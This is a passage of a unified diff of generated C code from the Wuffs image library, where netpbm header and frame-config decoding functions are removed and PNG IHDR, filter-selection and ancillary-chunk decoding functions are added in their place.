(WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_3 = *iop_a_src++; +- v_c = t_3; +- } +- if ((v_c == 32u) || (v_c == 9u)) { +- continue; +- } else if (v_c == 35u) { +- while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_4 = *iop_a_src++; +- v_c = t_4; +- } +- if (v_c == 10u) { +- break; +- } +- } +- continue; +- } else if ((v_c < 48u) || (57u < v_c)) { +- status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); +- goto exit; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- self->private_impl.f_width = ((uint32_t)((v_c - 48u))); +- break; ++ uint8_t t_5 = *iop_a_src++; ++ v_a8 = t_5; + } +- while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_5 = *iop_a_src++; +- v_c = t_5; +- } +- if ((v_c == 32u) || (v_c == 9u)) { +- break; +- } else if ((v_c < 48u) || (57u < v_c)) { +- status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); +- goto exit; +- } +- v_n = ((10u * self->private_impl.f_width) + ((uint32_t)((v_c - 48u)))); +- if (v_n > 16777215u) { +- status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); +- goto exit; +- } +- self->private_impl.f_width = v_n; ++ if (v_a8 != 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_header); ++ goto exit; + } +- while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_6 = *iop_a_src++; +- v_c = t_6; +- } +- if ((v_c == 32u) || (v_c == 9u)) { +- continue; +- } else if (v_c == 35u) { +- while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_7 = *iop_a_src++; +- v_c = t_7; +- } +- if (v_c == 10u) { +- break; +- } +- } +- continue; +- } else if ((v_c < 48u) || (57u < v_c)) { +- status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); +- goto exit; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- self->private_impl.f_height = ((uint32_t)((v_c - 48u))); +- break; ++ uint8_t t_6 = *iop_a_src++; ++ v_a8 = t_6; + } +- while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_8 = *iop_a_src++; +- v_c = t_8; +- } +- if ((v_c == 32u) || (v_c == 9u) || (v_c == 13u)) { +- continue; +- } else if (v_c == 10u) { +- break; +- } else if ((v_c < 48u) || (57u < v_c)) { +- status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); +- goto exit; +- } +- v_n = ((10u * self->private_impl.f_height) + ((uint32_t)((v_c - 48u)))); +- if (v_n > 16777215u) { +- status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); +- goto exit; +- } +- self->private_impl.f_height = v_n; ++ if (v_a8 == 0u) { ++ self->private_impl.f_interlace_pass = 0u; ++ } else if (v_a8 == 1u) { ++ self->private_impl.f_interlace_pass = 1u; ++ self->private_impl.choosy_filter_and_swizzle = ( ++ &wuffs_png__decoder__filter_and_swizzle_tricky); ++ } else { ++ status = wuffs_base__make_status(wuffs_png__error__bad_header); ++ goto exit; + } +- while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_9 = *iop_a_src++; +- v_c = t_9; +- } +- if ((v_c == 32u) || (v_c == 9u)) { +- continue; +- } else if (v_c == 35u) { +- while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_10 = *iop_a_src++; +- v_c = t_10; +- } +- if (v_c == 10u) { +- break; +- } +- } +- continue; +- } else if ((v_c < 48u) || (57u < v_c)) { +- status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); +- goto exit; +- } +- self->private_impl.f_max_value = ((uint32_t)((v_c - 48u))); +- break; ++ self->private_impl.f_filter_distance = 0u; ++ wuffs_png__decoder__assign_filter_distance(self); ++ if (self->private_impl.f_filter_distance == 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_header); ++ goto exit; + } +- while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_11 = *iop_a_src++; +- v_c = t_11; +- } +- if ((v_c == 32u) || (v_c == 9u) || (v_c == 13u)) { +- continue; +- } else if (v_c == 10u) { +- break; +- } else if ((v_c < 48u) || (57u < v_c)) { +- status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); +- goto exit; +- } +- v_n = ((10u * self->private_impl.f_max_value) + ((uint32_t)((v_c - 48u)))); +- if (v_n > 16777215u) { +- status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); +- goto exit; ++ self->private_impl.f_overall_workbuf_length = (((uint64_t)(self->private_impl.f_height)) * (1u + wuffs_png__decoder__calculate_bytes_per_row(self, self->private_impl.f_width))); ++ wuffs_png__decoder__choose_filter_implementations(self); ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_ihdr = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_ihdr = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func png.decoder.assign_filter_distance ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__assign_filter_distance( ++ wuffs_png__decoder* self) { ++ if (self->private_impl.f_depth < 8u) { ++ if ((self->private_impl.f_depth != 1u) && (self->private_impl.f_depth != 2u) && (self->private_impl.f_depth != 4u)) { ++ return wuffs_base__make_empty_struct(); ++ } else if (self->private_impl.f_color_type == 0u) { ++ self->private_impl.f_dst_pixfmt = 536870920u; ++ self->private_impl.f_src_pixfmt = 536870920u; ++ } else if (self->private_impl.f_color_type == 3u) { ++ self->private_impl.f_dst_pixfmt = 2198077448u; ++ self->private_impl.f_src_pixfmt = 2198077448u; ++ } else { ++ return wuffs_base__make_empty_struct(); ++ } ++ self->private_impl.f_filter_distance = 1u; ++ self->private_impl.choosy_filter_and_swizzle = ( ++ &wuffs_png__decoder__filter_and_swizzle_tricky); ++ } else if (self->private_impl.f_color_type == 0u) { ++ if (self->private_impl.f_depth == 8u) { ++ self->private_impl.f_dst_pixfmt = 536870920u; ++ self->private_impl.f_src_pixfmt = 536870920u; ++ self->private_impl.f_filter_distance = 1u; ++ } else if (self->private_impl.f_depth == 16u) { ++ if (self->private_impl.f_interlace_pass == 0u) { ++ self->private_impl.f_dst_pixfmt = 536870923u; ++ self->private_impl.f_src_pixfmt = 537919499u; ++ } else { ++ self->private_impl.f_dst_pixfmt = 2164308923u; ++ self->private_impl.f_src_pixfmt = 2164308923u; + } +- self->private_impl.f_max_value = v_n; ++ self->private_impl.f_filter_distance = 2u; + } +- if (self->private_impl.f_max_value != 255u) { +- status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); +- goto exit; ++ } else if (self->private_impl.f_color_type == 2u) { ++ if (self->private_impl.f_depth == 8u) { ++ self->private_impl.f_dst_pixfmt = 2147485832u; ++ self->private_impl.f_src_pixfmt = 2684356744u; ++ self->private_impl.f_filter_distance = 3u; ++ } else if (self->private_impl.f_depth == 16u) { ++ self->private_impl.f_dst_pixfmt = 2164308923u; ++ self->private_impl.f_src_pixfmt = 2164308923u; ++ self->private_impl.f_filter_distance = 6u; ++ self->private_impl.choosy_filter_and_swizzle = ( ++ &wuffs_png__decoder__filter_and_swizzle_tricky); + } +- self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); +- if (a_dst != NULL) { +- wuffs_base__image_config__set( +- a_dst, +- self->private_impl.f_pixfmt, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height, +- self->private_impl.f_frame_config_io_position, +- false); ++ } else if (self->private_impl.f_color_type == 3u) { ++ if (self->private_impl.f_depth == 8u) { ++ self->private_impl.f_dst_pixfmt = 2198077448u; ++ self->private_impl.f_src_pixfmt = 2198077448u; ++ self->private_impl.f_filter_distance = 1u; ++ } ++ } else if (self->private_impl.f_color_type == 4u) { ++ if (self->private_impl.f_depth == 8u) { ++ self->private_impl.f_dst_pixfmt = 553648264u; ++ self->private_impl.f_src_pixfmt = 553648264u; ++ self->private_impl.f_filter_distance = 2u; ++ } else if (self->private_impl.f_depth == 16u) { ++ self->private_impl.f_dst_pixfmt = 2164308923u; ++ self->private_impl.f_src_pixfmt = 2164308923u; ++ self->private_impl.f_filter_distance = 4u; ++ self->private_impl.choosy_filter_and_swizzle = ( ++ &wuffs_png__decoder__filter_and_swizzle_tricky); ++ } ++ } else if (self->private_impl.f_color_type == 6u) { ++ if (self->private_impl.f_depth == 8u) { ++ self->private_impl.f_dst_pixfmt = 2164295816u; ++ self->private_impl.f_src_pixfmt = 2701166728u; ++ self->private_impl.f_filter_distance = 4u; ++ } else if (self->private_impl.f_depth == 16u) { ++ self->private_impl.f_dst_pixfmt = 2164308923u; ++ self->private_impl.f_src_pixfmt = 2164308923u; ++ self->private_impl.f_filter_distance = 8u; ++ self->private_impl.choosy_filter_and_swizzle = ( ++ &wuffs_png__decoder__filter_and_swizzle_tricky); + } +- self->private_impl.f_call_sequence = 32u; +- +- goto ok; +- ok: +- self->private_impl.p_do_decode_image_config[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_do_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- +- return status; ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func netpbm.decoder.decode_frame_config ++// -------- func png.decoder.calculate_bytes_per_row + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_netpbm__decoder__decode_frame_config( +- wuffs_netpbm__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 2)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- uint32_t coro_susp_point = self->private_impl.p_decode_frame_config[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_netpbm__decoder__do_decode_frame_config(self, a_dst, a_src); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_netpbm__error__truncated_input); +- goto exit; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- } ++static uint64_t ++wuffs_png__decoder__calculate_bytes_per_row( ++ const wuffs_png__decoder* self, ++ uint32_t a_width) { ++ uint64_t v_bytes_per_channel = 0; + +- ok: +- self->private_impl.p_decode_frame_config[0] = 0; +- goto exit; ++ if (self->private_impl.f_depth == 1u) { ++ return ((uint64_t)(((a_width + 7u) / 8u))); ++ } else if (self->private_impl.f_depth == 2u) { ++ return ((uint64_t)(((a_width + 3u) / 4u))); ++ } else if (self->private_impl.f_depth == 4u) { ++ return ((uint64_t)(((a_width + 1u) / 2u))); + } ++ v_bytes_per_channel = ((uint64_t)(((uint8_t)(self->private_impl.f_depth >> 3u)))); ++ return (((uint64_t)(a_width)) * v_bytes_per_channel * ((uint64_t)(WUFFS_PNG__NUM_CHANNELS[self->private_impl.f_color_type]))); ++} + +- goto suspend; +- suspend: +- self->private_impl.p_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; ++// -------- func png.decoder.choose_filter_implementations + +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__choose_filter_implementations( ++ wuffs_png__decoder* self) { ++ if (self->private_impl.f_filter_distance == 3u) { ++ self->private_impl.choosy_filter_1 = ( ++ &wuffs_png__decoder__filter_1_distance_3_fallback); ++ self->private_impl.choosy_filter_3 = ( ++ &wuffs_png__decoder__filter_3_distance_3_fallback); ++ self->private_impl.choosy_filter_4 = ( ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++ wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_png__decoder__filter_4_distance_3_arm_neon : ++#endif ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_png__decoder__filter_4_distance_3_x86_sse42 : ++#endif ++ &wuffs_png__decoder__filter_4_distance_3_fallback); ++ } else if (self->private_impl.f_filter_distance == 4u) { ++ self->private_impl.choosy_filter_1 = ( ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++ wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_png__decoder__filter_1_distance_4_arm_neon : ++#endif ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_png__decoder__filter_1_distance_4_x86_sse42 : ++#endif ++ &wuffs_png__decoder__filter_1_distance_4_fallback); ++ self->private_impl.choosy_filter_3 = ( ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++ wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_png__decoder__filter_3_distance_4_arm_neon : ++#endif ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_png__decoder__filter_3_distance_4_x86_sse42 : ++#endif ++ &wuffs_png__decoder__filter_3_distance_4_fallback); ++ self->private_impl.choosy_filter_4 = ( ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++ wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_png__decoder__filter_4_distance_4_arm_neon : ++#endif ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_png__decoder__filter_4_distance_4_x86_sse42 : ++#endif ++ &wuffs_png__decoder__filter_4_distance_4_fallback); + } +- return status; ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func netpbm.decoder.do_decode_frame_config ++// -------- func png.decoder.decode_other_chunk + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_netpbm__decoder__do_decode_frame_config( +- wuffs_netpbm__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src) { ++wuffs_png__decoder__decode_other_chunk( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ bool a_framy) { + wuffs_base__status status = wuffs_base__make_status(NULL); + + const uint8_t* iop_a_src = NULL; +@@ -50273,62 +63411,218 @@ wuffs_netpbm__decoder__do_decode_frame_config( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_other_chunk; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_call_sequence == 32u) { +- } else if (self->private_impl.f_call_sequence < 32u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ if ((self->private_impl.f_chunk_type == 1163152464u) && ! a_framy) { ++ if (self->private_impl.f_seen_plte) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } else if (self->private_impl.f_color_type == 3u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_png__decoder__decode_plte(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else if ((self->private_impl.f_color_type == 2u) || (self->private_impl.f_color_type == 6u)) { ++ } else { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; + } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_netpbm__decoder__do_decode_image_config(self, NULL, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ self->private_impl.f_seen_plte = true; ++ } else if ((self->private_impl.f_chunk_type & 32u) == 0u) { ++ if (self->private_impl.f_chunk_type != 1413563465u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; + } +- if (status.repr) { +- goto suspend; ++ } ++ if (self->private_impl.f_chunk_type == 1716082789u) { ++ if (self->private_impl.f_report_metadata_exif) { ++ if (self->private_impl.f_seen_exif) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ status = wuffs_png__decoder__decode_exif(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_impl.f_seen_exif = true; + } +- } else if (self->private_impl.f_call_sequence == 40u) { +- if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { +- status = wuffs_base__make_status(wuffs_base__error__bad_restart); +- goto exit; ++ } else if ((self->private_impl.f_chunk_type == 1951945833u) || (self->private_impl.f_chunk_type == 1951942004u) || (self->private_impl.f_chunk_type == 1951945850u)) { ++ if (self->private_impl.f_report_metadata_kvp) { ++ self->private_impl.f_metadata_flavor = 4u; ++ self->private_impl.f_metadata_fourcc = 1263947851u; ++ self->private_impl.f_metadata_x = 0u; ++ self->private_impl.f_metadata_y = 0u; ++ self->private_impl.f_metadata_z = 0u; ++ } ++ } else if ( ! a_framy) { ++ if (self->private_impl.f_chunk_type == 1280598881u) { ++ if (self->private_impl.f_seen_actl) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ status = wuffs_png__decoder__decode_actl(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_impl.f_seen_actl = true; ++ } else if (self->private_impl.f_chunk_type == 1297238115u) { ++ if (self->private_impl.f_report_metadata_chrm) { ++ if (self->private_impl.f_seen_chrm) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ status = wuffs_png__decoder__decode_chrm(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_impl.f_seen_chrm = true; ++ } ++ } else if (self->private_impl.f_chunk_type == 1280598886u) { ++ if (self->private_impl.f_seen_fctl) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ status = wuffs_png__decoder__decode_fctl(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_impl.f_seen_fctl = true; ++ } else if (self->private_impl.f_chunk_type == 1095582055u) { ++ if (self->private_impl.f_report_metadata_gama) { ++ if (self->private_impl.f_seen_gama) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ status = wuffs_png__decoder__decode_gama(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_impl.f_seen_gama = true; ++ } ++ } else if (self->private_impl.f_chunk_type == 1346585449u) { ++ if (self->private_impl.f_report_metadata_iccp) { ++ if (self->private_impl.f_seen_iccp) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ status = wuffs_png__decoder__decode_iccp(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_impl.f_seen_iccp = true; ++ } ++ } else if (self->private_impl.f_chunk_type == 1111970419u) { ++ if (self->private_impl.f_report_metadata_srgb) { ++ if (self->private_impl.f_seen_srgb) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ status = wuffs_png__decoder__decode_srgb(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_impl.f_seen_srgb = true; ++ } ++ } else if (self->private_impl.f_chunk_type == 1397641844u) { ++ if (self->private_impl.f_seen_trns || ((self->private_impl.f_color_type == 3u) && ! self->private_impl.f_seen_plte)) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } else if (self->private_impl.f_color_type > 3u) { ++ } else { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ status = wuffs_png__decoder__decode_trns(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } ++ self->private_impl.f_seen_trns = true; + } +- } else if (self->private_impl.f_call_sequence == 64u) { +- self->private_impl.f_call_sequence = 96u; +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } else { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; + } +- if (a_dst != NULL) { +- wuffs_base__frame_config__set( +- a_dst, +- wuffs_base__utility__make_rect_ie_u32( +- 0u, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height), +- ((wuffs_base__flicks)(0u)), +- 0u, +- self->private_impl.f_frame_config_io_position, +- 0u, +- false, +- false, +- 0u); ++ if (self->private_impl.f_metadata_fourcc == 0u) { ++ self->private_data.s_decode_other_chunk.scratch = self->private_impl.f_chunk_length; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ if (self->private_data.s_decode_other_chunk.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_decode_other_chunk.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_decode_other_chunk.scratch; + } +- self->private_impl.f_call_sequence = 64u; + ++ goto ok; + ok: +- self->private_impl.p_do_decode_frame_config[0] = 0; ++ self->private_impl.p_decode_other_chunk = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_decode_other_chunk = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +@@ -50339,181 +63633,130 @@ wuffs_netpbm__decoder__do_decode_frame_config( + return status; + } + +-// -------- func netpbm.decoder.decode_frame +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_netpbm__decoder__decode_frame( +- wuffs_netpbm__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 3)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- uint32_t coro_susp_point = self->private_impl.p_decode_frame[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_netpbm__decoder__do_decode_frame(self, +- a_dst, +- a_src, +- a_blend, +- a_workbuf, +- a_opts); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_netpbm__error__truncated_input); +- goto exit; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- } +- +- ok: +- self->private_impl.p_decode_frame[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; +- +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } +- return status; +-} +- +-// -------- func netpbm.decoder.do_decode_frame ++// -------- func png.decoder.decode_actl + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status 